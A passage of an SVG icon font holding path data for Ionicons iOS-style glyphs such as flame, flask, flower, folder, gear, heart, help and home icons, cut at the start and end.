d="M96 416c87 -64 170 -179 159 -288c-13 -134 -104 -160 -127 -160s-127 40 -128 160c-1 146 122 143 96 288zM128 -24c0 0 40 36 40 80s-40 80 -40 80s-41 -36 -41 -80s41 -80 41 -80zM239 130c5 47 -10 99 -41 151c-22 36 -50 70 -83 99c0 -57 -24 -91 -49 -123
c-26 -34 -50 -65 -50 -129c0 -25 5 -48 15 -68c8 -17 20 -32 35 -45c8 -7 16 -12 23 -16c-9 16 -18 35 -18 57c0 51 44 90 46 92l11 9l11 -9c2 -2 45 -41 45 -92c0 -23 -9 -44 -19 -60c7 4 13 8 20 14c14 12 25 27 34 44c11 21 17 47 20 76z" />
    <glyph glyph-name="ion-ios-flame" unicode="&#xf42f;" horiz-adv-x="256" 
d="M96 416c87 -64 170 -179 159 -288c-13 -134 -104 -160 -127 -160s-127 40 -128 160c-1 146 122 143 96 288zM128 -24c0 0 40 36 40 80s-40 80 -40 80s-41 -36 -41 -80s41 -80 41 -80z" />
    <glyph glyph-name="ion-ios-flask-outline" unicode="&#xf430;" horiz-adv-x="384" 
d="M373 78c8 -16 11 -32 11 -46c-1 -36 -27 -64 -63 -64h-256c-36 0 -64 27 -65 64c0 14 4 30 12 46l116 195v127h-16v16h16h16v-16v-16h48v-16h-48v-32h32v-16h-32v-32h48v-16h-48v-3l-2 -4l-15 -25h49v-16h-58l-92 -154c-13 -25 -14 -43 -2 -63c9 -14 23 -23 41 -23h256
c17 0 33 8 41 22c5 8 6 17 6 26c0 12 -2 25 -9 38l-116 195l-3 4v131v16h16h16v-16h-16v-127zM44 73l72 119h153l72 -119c7 -11 10 -24 10 -33c-1 -24 -16 -40 -46 -40h-226c-30 0 -46 12 -46 40c0 9 4 22 11 33zM260 176h-135l-67 -111v0v0c-5 -8 -9 -19 -9 -25
c0 -13 5 -17 6 -18c4 -4 13 -6 24 -6h226c10 0 18 3 23 7c4 4 7 10 7 18c0 6 -3 16 -8 24v0v0z" />
    <glyph glyph-name="ion-ios-flask" unicode="&#xf431;" horiz-adv-x="384" 
d="M327 65v0c5 -8 8 -18 8 -24c0 -8 -3 -14 -7 -18c-5 -4 -13 -7 -23 -7h-226c-11 0 -20 2 -24 6c-1 1 -6 5 -6 18c0 6 4 17 9 25v0v0l67 111h135l67 -111v0zM373 78c8 -16 11 -32 11 -46c-1 -36 -27 -64 -63 -64h-256c-36 0 -64 27 -65 64c0 14 4 30 12 46l116 195v127h-16
v16h160v-16h-16v-127zM144 384v-16h48v16h-48zM144 336v-16h32v16h-32zM144 288v-16h48v16h-48zM127 240l-9 -16h58v16h-49zM351 40c0 9 -3 22 -10 33l-72 119h-154l-71 -119c-7 -11 -11 -24 -11 -33c0 -28 16 -40 46 -40h226c30 0 45 16 46 40z" />
    <glyph glyph-name="ion-ios-flower-outline" unicode="&#xf432;" 
d="M363 164c-29 0 -65 7 -93 14c-1 -3 -2 -6 -4 -9c25 -15 56 -36 76 -56c40 -40 53 -68 41 -80c-3 -3 -7 -4 -12 -4c-15 0 -38 15 -68 45c-20 20 -41 51 -56 76c-3 -2 -7 -3 -10 -4c7 -28 15 -64 15 -93c0 -56 -12 -85 -28 -85s-28 29 -28 85c0 29 8 65 15 93
c-3 1 -7 2 -10 4c-15 -25 -36 -56 -56 -76c-30 -30 -53 -45 -68 -45c-5 0 -9 1 -12 4c-12 12 1 40 41 80c20 20 51 41 76 56c-2 3 -3 6 -4 9c-28 -7 -64 -14 -93 -14c-56 0 -85 12 -85 28s29 28 85 28c29 0 65 -8 93 -15c1 3 2 7 4 10c-25 15 -56 35 -76 55
c-40 40 -53 68 -41 80c3 3 7 4 12 4c15 0 38 -14 68 -44c20 -20 41 -51 56 -76c3 2 7 3 10 4c-7 28 -15 64 -15 93c0 56 12 85 28 85s28 -29 28 -85c0 -29 -8 -65 -15 -93c3 -1 7 -2 10 -4c15 25 36 56 56 76c30 30 53 44 68 44c5 0 9 -1 12 -4c12 -12 -1 -40 -41 -80
c-20 -20 -51 -40 -76 -55c2 -3 3 -7 4 -10c28 7 64 15 93 15c56 0 85 -12 85 -28s-29 -28 -85 -28zM288 193v-3c30 -7 56 -10 75 -10c21 0 39 2 52 5c10 3 14 6 16 7c-2 1 -6 4 -16 7c-13 3 -31 5 -52 5c-19 0 -45 -4 -75 -11zM314 299c-14 -14 -30 -35 -46 -61l2 -2
c26 16 47 32 61 46c15 15 26 28 33 40c5 9 7 14 7 16c-4 0 -22 -4 -57 -39zM178 236l2 2c-16 26 -32 47 -46 61c-35 35 -53 39 -57 39c0 -2 2 -7 7 -16c7 -12 18 -25 33 -40c14 -14 35 -30 61 -46zM85 180c19 0 45 3 75 10v3c-30 7 -56 11 -75 11c-21 0 -39 -2 -52 -5
c-10 -3 -14 -6 -16 -7c2 -1 5 -4 15 -7c13 -3 32 -5 53 -5zM134 85c14 14 30 35 46 61l-2 2c-26 -16 -47 -32 -61 -46c-15 -15 -26 -29 -33 -41c-5 -9 -7 -14 -7 -16c4 0 22 5 57 40zM270 148l-2 -2c16 -26 32 -47 46 -61c35 -35 53 -40 57 -40c0 2 -2 7 -7 16
c-7 12 -18 26 -33 41c-14 14 -35 30 -61 46zM217 383c-3 -13 -5 -31 -5 -52c0 -19 4 -45 11 -75h2c7 30 11 56 11 75c0 21 -2 39 -5 52c-3 10 -6 14 -7 16c-1 -2 -4 -6 -7 -16zM231 0c3 13 5 32 5 53c0 19 -4 45 -11 75h-2c-7 -30 -11 -56 -11 -75c0 -21 2 -40 5 -53
c3 -10 6 -13 7 -15c1 2 4 5 7 15zM224 160c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM313 42c10 -34 7 -53 -5 -58c-2 -1 -3 -1 -5 -1c-11 0 -25 13 -37 35c5 35 -2 76 -2 76s24 -34 49 -52zM302 -1c1 4 2 14 -3 34c-5 4 -10 9 -15 14
c0 -9 0 -17 -1 -25c10 -16 16 -22 19 -23zM182 365c-6 -35 1 -75 1 -75s-27 35 -48 51c-10 35 -7 54 5 59c2 1 3 1 5 1c11 0 24 -12 37 -36zM164 337c0 9 0 17 1 25c-10 16 -16 21 -19 22c-1 -4 -2 -14 3 -34c5 -4 10 -8 15 -13zM50 149c35 -4 76 2 76 2s-34 -24 -51 -48
c-12 -4 -26 -6 -35 -6c-13 0 -21 4 -24 11c-5 11 7 25 34 41zM66 117c4 5 8 10 13 15c-9 0 -17 0 -25 1c-16 -10 -21 -16 -22 -19c1 0 4 -1 8 -1c7 0 16 1 26 4zM432 276c5 -11 -7 -26 -34 -42c-35 5 -76 -2 -76 -2s33 25 51 49c13 4 26 5 35 5c13 0 21 -3 24 -10zM394 250
c16 10 21 16 22 19c-1 0 -4 1 -8 1c-7 0 -16 -1 -26 -4c-4 -5 -8 -9 -13 -14c9 0 17 -1 25 -2zM131 39c31 24 53 55 53 55s-7 -39 -3 -71c-15 -26 -28 -39 -39 -39c-2 0 -4 0 -6 1c-11 5 -13 24 -5 54zM143 1c4 2 12 8 22 26c0 6 -1 13 -1 20c-6 -6 -13 -12 -19 -17
c-4 -18 -3 -26 -2 -29zM312 398c11 -5 13 -22 5 -54c-29 -21 -53 -55 -53 -55s8 48 3 71c13 25 28 39 39 39c2 0 4 0 6 -1zM303 353c5 18 3 27 2 30c-4 -2 -12 -8 -22 -26c0 -6 1 -14 1 -21c6 6 13 12 19 17zM71 285c18 -24 55 -53 55 -53s-40 7 -70 3c-28 15 -43 32 -38 44
c3 7 10 11 22 11c8 0 21 -1 31 -5zM33 273c2 -4 8 -12 26 -22c6 0 13 1 20 1c-6 6 -12 12 -17 18c-8 2 -16 4 -22 4c-4 0 -6 -1 -7 -1zM392 149c30 -17 43 -33 38 -45c-3 -7 -10 -10 -22 -10c-8 0 -19 1 -31 5c-20 27 -55 52 -55 52s45 -8 70 -2zM408 110c4 0 6 1 7 1
c-2 4 -8 12 -26 22c-6 0 -13 -1 -20 -1c6 -6 12 -13 17 -19c8 -2 16 -3 22 -3z" />
    <glyph glyph-name="ion-ios-flower" unicode="&#xf433;" 
d="M363 220c56 0 85 -12 85 -28s-29 -28 -85 -28c-29 0 -65 7 -93 14c-1 -3 -2 -6 -4 -9c25 -15 56 -36 76 -56c40 -40 53 -68 41 -80s-40 1 -80 41c-20 20 -41 51 -56 76c-3 -2 -7 -3 -10 -4c7 -28 15 -64 15 -93c0 -56 -12 -85 -28 -85s-28 29 -28 85c0 29 8 65 15 93
c-3 1 -7 2 -10 4c-15 -25 -36 -56 -56 -76c-40 -40 -68 -53 -80 -41s1 40 41 80c20 20 51 41 76 56c-2 3 -3 6 -4 9c-28 -7 -64 -14 -93 -14c-56 0 -85 12 -85 28s29 28 85 28c29 0 65 -8 93 -15c1 3 2 7 4 10c-25 15 -56 35 -76 55c-40 40 -53 68 -41 80s40 0 80 -40
c20 -20 41 -51 56 -76c3 2 6 3 9 4c-7 28 -14 64 -14 93c0 56 12 85 28 85s28 -29 28 -85c0 -29 -7 -65 -14 -93c3 -1 6 -2 9 -4c15 25 36 56 56 76c40 40 68 52 80 40s-1 -40 -41 -80c-20 -20 -51 -40 -76 -55c2 -3 3 -7 4 -10c28 7 64 15 93 15zM264 94c0 0 24 -34 49 -52
c10 -34 7 -53 -5 -58c-2 -1 -3 -1 -5 -1c-11 0 -25 13 -37 35c5 35 -2 76 -2 76zM183 290c0 0 -27 35 -48 51c-10 35 -7 54 5 59c2 1 3 1 5 1c11 0 24 -12 37 -36c-6 -35 1 -75 1 -75zM126 151c0 0 -34 -24 -51 -48c-12 -4 -26 -6 -35 -6c-13 0 -21 4 -24 11
c-5 11 7 25 34 41c35 -4 76 2 76 2zM322 232c0 0 33 25 51 49c13 4 26 5 35 5c13 0 21 -3 24 -10c5 -11 -7 -26 -34 -42c-35 5 -76 -2 -76 -2zM131 39c31 24 53 55 53 55s-7 -39 -3 -71c-15 -26 -28 -39 -39 -39c-2 0 -4 0 -6 1c-11 5 -13 24 -5 54zM317 344
c-29 -21 -53 -55 -53 -55s8 48 3 71c13 25 28 39 39 39c2 0 4 0 6 -1c11 -5 13 -22 5 -54zM56 235c-28 15 -43 32 -38 44c3 7 10 11 22 11c8 0 21 -1 31 -5c18 -24 55 -53 55 -53s-40 7 -70 3zM392 149c30 -17 43 -33 38 -45c-3 -7 -10 -10 -22 -10c-8 0 -19 1 -31 5
c-20 27 -55 52 -55 52s45 -8 70 -2z" />
    <glyph glyph-name="ion-ios-folder-outline" unicode="&#xf434;" 
d="M425 352c13 0 23 -10 23 -23v-304c0 -14 -10 -25 -23 -25h-400c-13 0 -25 12 -25 25v336c0 13 11 23 25 23h112c8 0 12 -2 17 -7v0l23 -23c2 -2 3 -2 6 -2h242zM25 368c-4 0 -9 -3 -9 -7v-74c3 1 5 1 8 1h400c3 0 5 0 8 -1v42c0 4 -3 7 -7 7h-242c-7 0 -12 2 -17 7
l-23 23c-2 2 -3 2 -6 2h-112zM432 25v239c0 4 -4 8 -8 8h-400c-4 0 -8 -4 -8 -8v-239c0 -4 5 -9 9 -9h400c4 0 7 5 7 9z" />
    <glyph glyph-name="ion-ios-folder" unicode="&#xf435;" 
d="M440 272c4 0 8 -4 8 -8v-239c0 -14 -10 -25 -23 -25h-400c-13 0 -25 12 -25 25v239c0 4 4 8 8 8h432zM425 352c13 0 23 -10 23 -23v-42c-3 1 -5 1 -8 1h-432c-3 0 -5 0 -8 -1v74c0 13 11 23 25 23h112c8 0 12 -2 17 -7v0l23 -23c2 -2 3 -2 6 -2h242z" />
    <glyph glyph-name="ion-ios-football-outline" unicode="&#xf436;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM249 6c3 1 5 1 8 2l24 64l-20 39v1h-106l-20 -39l25 -65c2 -1 5 -1 7 -2c12 -3 25 -5 38 -5c14 0 30 2 44 5zM41 284c-15 -27 -23 -57 -24 -89l43 37v0zM142 371
c-36 -14 -68 -38 -90 -69l22 -64l5 -2l49 -23l71 60v58zM277 201l-70 58l-69 -58v-1l18 -72h104l18 72zM399 195c-1 32 -9 63 -24 90l-19 -53v0zM364 302c-22 31 -54 56 -90 69l-58 -40v-58l71 -60l54 24zM18 175c3 -34 15 -66 33 -92l70 -1l21 39l-20 77l-1 1l-49 22z
M295 82l70 1c18 26 30 58 33 92l-54 46l-50 -23l-20 -77zM207 345l47 32c-15 4 -30 6 -46 6s-32 -2 -47 -6zM118 66l-54 1c20 -23 46 -42 75 -53l-20 50zM277 14c29 11 55 30 75 53l-56 -1l-2 -3z" />
    <glyph glyph-name="ion-ios-football" unicode="&#xf437;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM249 6c3 1 5 1 8 2l24 64l-20 39v1h-106l-20 -39l25 -65c2 -1 5 -1 7 -2c12 -3 25 -5 38 -5c14 0 30 2 44 5zM142 371c-36 -14 -68 -38 -90 -69l22 -64l5 -2l49 -23l71 60v58z
M364 302c-22 31 -54 56 -90 69l-58 -40v-58l71 -60l54 24zM18 175c3 -34 15 -66 33 -92l70 -1l21 39l-20 77l-1 1l-49 22zM295 82l70 1c18 26 30 58 33 92l-54 46l-50 -23l-20 -77z" />
    <glyph glyph-name="ion-ios-game-controller-a-outline" unicode="&#xf438;" 
d="M163 208c3 0 5 -2 5 -5v-22c0 -3 -2 -5 -5 -5h-35v-35c0 -3 -3 -5 -6 -5h-21c-3 0 -5 2 -5 5v35h-35c-3 0 -5 3 -5 6v21c0 3 2 5 5 5h35v35c0 3 2 5 5 5h22c3 0 5 -2 5 -5v-35h35zM330 169c11 0 20 -8 20 -19s-9 -19 -20 -19s-19 8 -19 19s8 19 19 19zM288 211
c11 0 19 -8 19 -19s-8 -19 -19 -19s-20 8 -20 19s9 19 20 19zM373 211c11 0 19 -8 19 -19s-8 -19 -19 -19s-20 8 -20 19s9 19 20 19zM330 253c11 0 20 -8 20 -19s-9 -20 -20 -20s-19 9 -19 20s8 19 19 19zM337 286h-226c-26 0 -49 -9 -67 -26s-28 -41 -28 -67s10 -51 28 -68
s41 -27 67 -27h226c26 0 49 10 67 27s28 42 28 68s-10 50 -28 67s-41 26 -67 26zM337 302v0c61 0 111 -45 111 -109s-50 -111 -111 -111h-226c-61 0 -111 47 -111 111s50 109 111 109h226z" />
    <glyph glyph-name="ion-ios-game-controller-a" unicode="&#xf439;" 
d="M337 302c61 0 111 -45 111 -109s-50 -111 -111 -111h-226c-61 0 -111 47 -111 111s50 109 111 109h226zM168 181v0v22c0 3 -2 5 -5 5h-35v35c0 3 -2 5 -5 5h-22c-3 0 -5 -2 -5 -5v-35h-35c-3 0 -5 -2 -5 -5v-21c0 -3 2 -6 5 -6h35v-35c0 -3 2 -5 5 -5h21c3 0 6 2 6 5v35
h35c3 0 5 2 5 5zM288 173c11 0 19 8 19 19s-8 19 -19 19s-20 -8 -20 -19s9 -19 20 -19zM330 131c11 0 20 8 20 19s-9 19 -20 19s-19 -8 -19 -19s8 -19 19 -19zM330 214c11 0 20 9 20 20s-9 19 -20 19s-19 -8 -19 -19s8 -20 19 -20zM373 173c11 0 19 8 19 19s-8 19 -19 19
s-20 -8 -20 -19s9 -19 20 -19z" />
    <glyph glyph-name="ion-ios-game-controller-b-outline" unicode="&#xf43a;" 
d="M276 244c11 0 20 -9 20 -20s-9 -20 -20 -20s-20 9 -20 20s9 20 20 20zM320 200c11 0 20 -9 20 -20s-9 -20 -20 -20s-20 9 -20 20s9 20 20 20zM103 264c22 0 39 -18 39 -40s-17 -40 -39 -40s-39 18 -39 40s17 40 39 40zM103 205c11 0 19 8 19 19s-8 19 -19 19
s-19 -8 -19 -19s8 -19 19 -19zM320 288c11 0 20 -9 20 -20s-9 -20 -20 -20s-20 9 -20 20s9 20 20 20zM364 244c11 0 20 -9 20 -20s-9 -20 -20 -20s-20 9 -20 20s9 20 20 20zM434 199c21 -88 18 -152 -7 -164c-4 -2 -9 -3 -13 -3c-22 0 -45 24 -68 52c-26 32 -32 33 -110 33
h-24c-78 0 -84 -1 -110 -33c-23 -28 -46 -52 -68 -52c-4 0 -9 1 -13 3c-25 12 -28 76 -7 164s43 136 88 149c10 3 18 4 26 4c28 0 47 -15 96 -15s68 15 96 15c8 0 16 -1 26 -4c45 -13 67 -61 88 -149zM420 49c10 5 23 48 -1 146c-21 90 -43 128 -78 138c-8 2 -14 3 -21 3
c-10 0 -19 -2 -30 -5c-16 -4 -36 -10 -66 -10s-50 6 -66 10c-11 3 -20 5 -30 5c-7 0 -13 -1 -21 -3c-35 -10 -57 -48 -78 -138c-24 -98 -11 -141 -1 -146c2 -1 4 -1 6 -1c6 0 14 4 23 12s19 18 32 34s24 28 44 34c17 5 38 5 79 5h24c41 0 62 0 79 -5c20 -6 31 -18 44 -34
s23 -26 32 -34s17 -12 23 -12c2 0 4 0 6 1z" />
    <glyph glyph-name="ion-ios-game-controller-b" unicode="&#xf43b;" 
d="M103 243c11 0 19 -8 19 -19s-8 -19 -19 -19s-19 8 -19 19s8 19 19 19zM434 199c21 -88 18 -152 -7 -164c-4 -2 -9 -3 -13 -3c-22 0 -45 24 -68 52c-26 32 -32 33 -110 33h-24c-78 0 -84 -1 -110 -33c-23 -28 -46 -52 -68 -52c-4 0 -9 1 -13 3c-25 12 -28 76 -7 164
s43 136 88 149c10 3 18 4 26 4c28 0 47 -15 96 -15s68 15 96 15c8 0 16 -1 26 -4c45 -13 67 -61 88 -149zM103 184c22 0 39 18 39 40s-17 40 -39 40s-39 -18 -39 -40s17 -40 39 -40zM276 204c11 0 20 9 20 20s-9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20zM320 160
c11 0 20 9 20 20s-9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20zM320 248c11 0 20 9 20 20s-9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20zM364 204c11 0 20 9 20 20s-9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20z" />
    <glyph glyph-name="ion-ios-gear-outline" unicode="&#xf43c;" horiz-adv-x="384" 
d="M193 288c26 0 50 -10 68 -28s28 -42 28 -68s-10 -50 -28 -68s-42 -28 -68 -28s-50 10 -68 28s-28 42 -28 68s10 50 28 68s42 28 68 28zM193 112c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80zM138 365c-10 -3 -20 -7 -30 -12c2 -8 1 -16 0 -24
c-2 -13 -8 -25 -18 -35c-12 -12 -29 -19 -46 -19c-4 0 -9 0 -13 1c-5 -10 -9 -20 -12 -30c7 -4 12 -10 17 -17c8 -11 12 -24 12 -37s-4 -26 -12 -37c-5 -7 -10 -13 -17 -17c3 -10 7 -20 12 -30c4 1 9 1 13 1c17 0 34 -7 46 -19c10 -10 16 -22 18 -35c1 -8 2 -16 0 -24
c10 -5 20 -9 30 -12c4 7 10 12 17 17c11 8 24 12 37 12s26 -4 37 -12c7 -5 13 -10 17 -17c10 3 20 7 30 12c-2 8 -1 16 0 24c2 13 8 25 18 35c12 12 29 19 46 19c4 0 9 0 13 -1c5 10 9 20 12 30c-7 4 -12 10 -17 17c-8 11 -12 24 -12 37s4 26 12 37c5 7 10 13 17 17
c-3 10 -7 20 -12 30c-4 -1 -9 -1 -13 -1c-17 0 -34 7 -46 19c-10 10 -16 22 -18 35c-1 8 -2 16 0 24c-10 5 -20 9 -30 12c-4 -7 -10 -12 -17 -17c-11 -8 -24 -12 -37 -12s-26 4 -37 12c-7 5 -13 10 -17 17zM238 384v0c20 -5 40 -13 57 -24c-8 -18 -5 -40 10 -55
c10 -10 22 -14 35 -14c7 0 14 1 20 4c11 -17 19 -37 24 -57c-19 -7 -32 -25 -32 -46s14 -39 32 -46c-5 -20 -13 -40 -24 -57c-6 3 -13 4 -20 4c-13 0 -25 -4 -35 -14c-15 -15 -18 -37 -10 -55c-17 -11 -37 -19 -57 -24c-7 18 -25 32 -46 32s-39 -14 -46 -32
c-20 5 -40 13 -57 24c8 18 5 40 -10 55c-10 10 -22 14 -35 14c-7 0 -14 -1 -20 -4c-11 17 -19 37 -24 57c18 7 32 25 32 46s-13 39 -32 46c5 20 13 40 24 57c6 -3 13 -4 20 -4c13 0 25 4 35 14c15 15 18 37 10 55c17 11 37 19 57 24c7 -19 25 -32 46 -32s39 13 46 32z" />
    <glyph glyph-name="ion-ios-gear" unicode="&#xf43d;" horiz-adv-x="384" 
d="M352 192c0 -21 14 -39 32 -46c-5 -20 -13 -40 -24 -57c-6 3 -13 4 -20 4c-13 0 -25 -4 -35 -14c-15 -15 -18 -37 -10 -55c-17 -11 -37 -19 -57 -24c-7 18 -25 32 -46 32s-39 -14 -46 -32c-20 5 -40 13 -57 24c8 18 5 40 -10 55c-10 10 -22 14 -35 14c-7 0 -14 -1 -20 -4
c-11 17 -19 37 -24 57c18 7 32 25 32 46s-13 39 -32 46c5 20 13 40 24 57c6 -3 13 -4 20 -4c13 0 25 4 35 14c15 15 18 37 10 55c17 11 37 19 57 24c7 -19 25 -32 46 -32s39 13 46 32c20 -5 40 -13 57 -24c-8 -18 -5 -40 10 -55c10 -10 22 -14 35 -14c7 0 14 1 20 4
c11 -17 19 -37 24 -57c-19 -7 -32 -25 -32 -46zM193 112c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80z" />
    <glyph glyph-name="ion-ios-glasses-outline" unicode="&#xf43e;" 
d="M433 201v0h15v-18h-15c-2 -22 -13 -43 -29 -58c-17 -16 -39 -25 -62 -25c-51 0 -92 41 -92 92v0v0c0 10 -12 22 -26 22s-26 -12 -26 -22v0v0c0 -51 -41 -92 -92 -92c-23 0 -45 9 -62 25c-16 15 -27 36 -29 58h-15v18h15c2 22 13 43 29 59c17 16 39 24 62 24
c42 0 78 -27 89 -67c7 7 18 12 29 12s22 -5 29 -12c11 40 47 67 89 67c23 0 45 -9 62 -25c16 -15 27 -36 29 -58zM342 115c42 0 77 35 77 77s-35 77 -77 77s-77 -35 -77 -77s35 -77 77 -77zM106 115c42 0 77 35 77 77s-35 77 -77 77s-77 -35 -77 -77s35 -77 77 -77z" />
    <glyph glyph-name="ion-ios-glasses" unicode="&#xf43f;" 
d="M433 201v0h15v-18h-15c-2 -22 -13 -43 -29 -58c-17 -16 -39 -25 -62 -25c-51 0 -92 41 -92 92v0v0c0 10 -12 22 -26 22s-26 -12 -26 -22v0v0c0 -51 -41 -92 -92 -92c-23 0 -45 9 -62 25c-16 15 -27 36 -29 58h-15v18h15c2 22 13 43 29 59c17 16 39 24 62 24
c42 0 78 -27 89 -67c7 7 18 12 29 12s22 -5 29 -12c11 40 47 67 89 67c23 0 45 -9 62 -25c16 -15 27 -36 29 -58z" />
    <glyph glyph-name="ion-ios-grid-view-outline" unicode="&#xf440;" horiz-adv-x="384" 
d="M384 256h-112v-128h112v-16h-112v-112h-16v112h-128v-112h-16v112h-112v16h112v128h-112v16h112v112h16v-112h128v112h16v-112h112v-16zM256 128v128h-128v-128h128z" />
    <glyph glyph-name="ion-ios-grid-view" unicode="&#xf441;" horiz-adv-x="384" 
d="M128 128v128h128v-128h-128zM0 384h384v-384h-384v384zM352 256v16h-80v80h-16v-80h-128v80h-16v-80h-80v-16h80v-128h-80v-16h80v-80h16v80h128v-80h16v80h80v16h-80v128h80z" />
    <glyph glyph-name="ion-ios-heart-outline" unicode="&#xf442;" 
d="M327 368c69 0 121 -43 121 -116c0 -31 -13 -71 -41 -105s-45 -52 -100 -88s-83 -43 -83 -43s-28 7 -83 43s-72 54 -100 88s-41 74 -41 105c0 73 52 116 121 116c39 0 82 -18 103 -53c21 35 64 53 103 53zM395 157c12 14 22 31 28 49c6 16 9 31 9 46c0 30 -10 56 -29 74
c-9 8 -20 15 -33 19c-13 5 -28 7 -43 7c-38 0 -73 -18 -89 -45l-14 -23l-14 23c-16 27 -51 45 -89 45c-15 0 -30 -2 -43 -7c-13 -4 -24 -11 -33 -19c-19 -18 -29 -44 -29 -74c0 -15 3 -30 9 -46c6 -18 16 -35 28 -49c27 -32 42 -49 97 -85c40 -27 65 -36 74 -39
c9 3 34 12 74 39c55 36 70 53 97 85z" />
    <glyph glyph-name="ion-ios-heart" unicode="&#xf443;" 
d="M327 368c69 0 121 -43 121 -116c0 -31 -13 -71 -41 -105s-45 -52 -100 -88s-83 -43 -83 -43s-28 7 -83 43s-72 54 -100 88s-41 74 -41 105c0 73 52 116 121 116c39 0 82 -18 103 -53c21 35 64 53 103 53z" />
    <glyph glyph-name="ion-ios-help-empty" unicode="&#xf444;" horiz-adv-x="128" 
d="M68 82c-9 0 -17 8 -17 17s8 17 17 17s17 -8 17 -17s-8 -17 -17 -17zM102 197c-23 -22 -22 -27 -23 -53h-19c1 28 7 43 30 64c11 10 19 24 19 39c0 24 -19 39 -42 39c-32 0 -49 -16 -48 -46h-19c0 42 25 62 68 62c33 0 60 -20 60 -54c0 -22 -11 -37 -26 -51z" />
    <glyph glyph-name="ion-ios-help-outline" unicode="&#xf445;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1c105 0 191 86 191 191s-86 191 -191 191s-191 -86 -191 -191s86 -191 191 -191zM212 302c33 0 60 -21 60 -55c0 -22 -11 -36 -26 -50c-23 -23 -22 -27 -23 -53h-19
c1 28 7 43 30 64c11 10 19 23 19 38c0 24 -19 40 -42 40c-32 0 -49 -16 -48 -46h-19c0 42 25 62 68 62zM212 116c9 0 17 -8 17 -17s-8 -17 -17 -17s-17 8 -17 17s8 17 17 17z" />
    <glyph glyph-name="ion-ios-help" unicode="&#xf446;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM212 82c9 0 17 8 17 17s-8 17 -17 17s-17 -8 -17 -17s8 -17 17 -17zM246 197c15 14 26 29 26 51c0 34 -27 54 -60 54c-43 0 -68 -20 -68 -62h19c-1 30 16 46 48 46
c23 0 42 -15 42 -39c0 -15 -8 -29 -19 -39c-23 -21 -29 -36 -30 -64h19c1 26 0 31 23 53z" />
    <glyph glyph-name="ion-ios-home-outline" unicode="&#xf447;" horiz-adv-x="384" 
d="M192 336l160 -128v-208h-112v128h-96v-128h-112v208zM336 16v184l-144 116l-144 -116v-184h80v128h128v-128h80zM192 384l192 -153l-12 -12l-180 145l-180 -145l-12 12l32 25v96h64v-45zM80 294v42h-32v-67z" />
    <glyph glyph-name="ion-ios-home" unicode="&#xf448;" horiz-adv-x="384" 
d="M192 336l160 -128v-208h-112v128h-96v-128h-112v208zM192 384l192 -153l-12 -12l-180 145l-180 -145l-12 12l32 25v96h64v-45z" />
    <glyph glyph-name="ion-ios-infinite-outline" unicode="&#xf449;" 
d="M419 260c19 -19 29 -43 29 -68s-10 -49 -29 -68c-19 -18 -44 -28 -70 -28s-50 10 -69 28l-126 123c-15 15 -35 22 -56 22s-40 -7 -55 -22c-31 -30 -31 -80 0 -110c15 -15 34 -22 55 -22s41 7 56 22l43 42l13 -14l-42 -41c-19 -18 -44 -28 -70 -28s-50 10 -69 28
c-19 19 -29 43 -29 68s10 49 29 68c19 18 43 28 69 28s51 -10 70 -28l126 -123c15 -15 34 -22 55 -22s41 7 56 22c31 30 31 80 0 110c-15 15 -35 22 -56 22s-40 -7 -55 -22l-43 -42l-13 14l42 41c19 18 44 28 70 28s50 -10 69 -28z" />
    <glyph glyph-name="ion-ios-infinite" unicode="&#xf44a;" horiz-adv-x="464" 
d="M433 266c20 -20 31 -46 31 -74s-11 -54 -31 -74s-48 -30 -76 -30s-55 10 -75 30l-125 123c-13 13 -32 20 -51 20s-37 -7 -50 -20s-21 -31 -21 -49c0 -19 8 -36 21 -49s31 -20 50 -20s38 7 51 20l39 38l25 -25l-39 -38c-20 -20 -48 -30 -76 -30s-55 10 -75 30
s-31 46 -31 74s11 54 31 74s47 30 75 30s56 -10 76 -30l125 -123c13 -13 31 -20 50 -20s38 7 51 20s20 31 20 49c0 19 -7 36 -20 49s-32 20 -51 20s-37 -7 -50 -20l-39 -38l-25 25l39 38c20 20 48 30 76 30s55 -10 75 -30z" />
    <glyph glyph-name="ion-ios-information-empty" unicode="&#xf44b;" horiz-adv-x="64" 
d="M8 276c0 13 7 20 20 20s20 -7 20 -20s-7 -20 -20 -20s-20 7 -20 20zM48 104h16v-8h-64v8h16v120h-16v8h48v-128z" />
    <glyph glyph-name="ion-ios-information-outline" unicode="&#xf44c;" horiz-adv-x="416" 
d="M184 276c0 13 7 20 20 20s20 -7 20 -20s-7 -20 -20 -20s-20 7 -20 20zM224 104h16v-8h-64v8h16v120h-16v8h48v-128zM208 400c57 0 106 -20 147 -61s61 -90 61 -147s-20 -106 -61 -147s-90 -61 -147 -61s-106 20 -147 61s-61 90 -61 147s20 106 61 147s90 61 147 61z
M208 1c53 0 98 19 135 56s56 82 56 135s-19 98 -56 135s-82 56 -135 56s-98 -19 -135 -56s-56 -82 -56 -135s19 -98 56 -135s82 -56 135 -56z" />
    <glyph glyph-name="ion-ios-information" unicode="&#xf44d;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM204 296c-11 0 -20 -9 -20 -20s9 -20 20 -20s20 9 20 20s-9 20 -20 20zM240 96v8h-16v128h-48v-8h16v-120h-16v-8h64z" />
    <glyph glyph-name="ion-ios-ionic-outline" unicode="&#xf44e;" horiz-adv-x="416" 
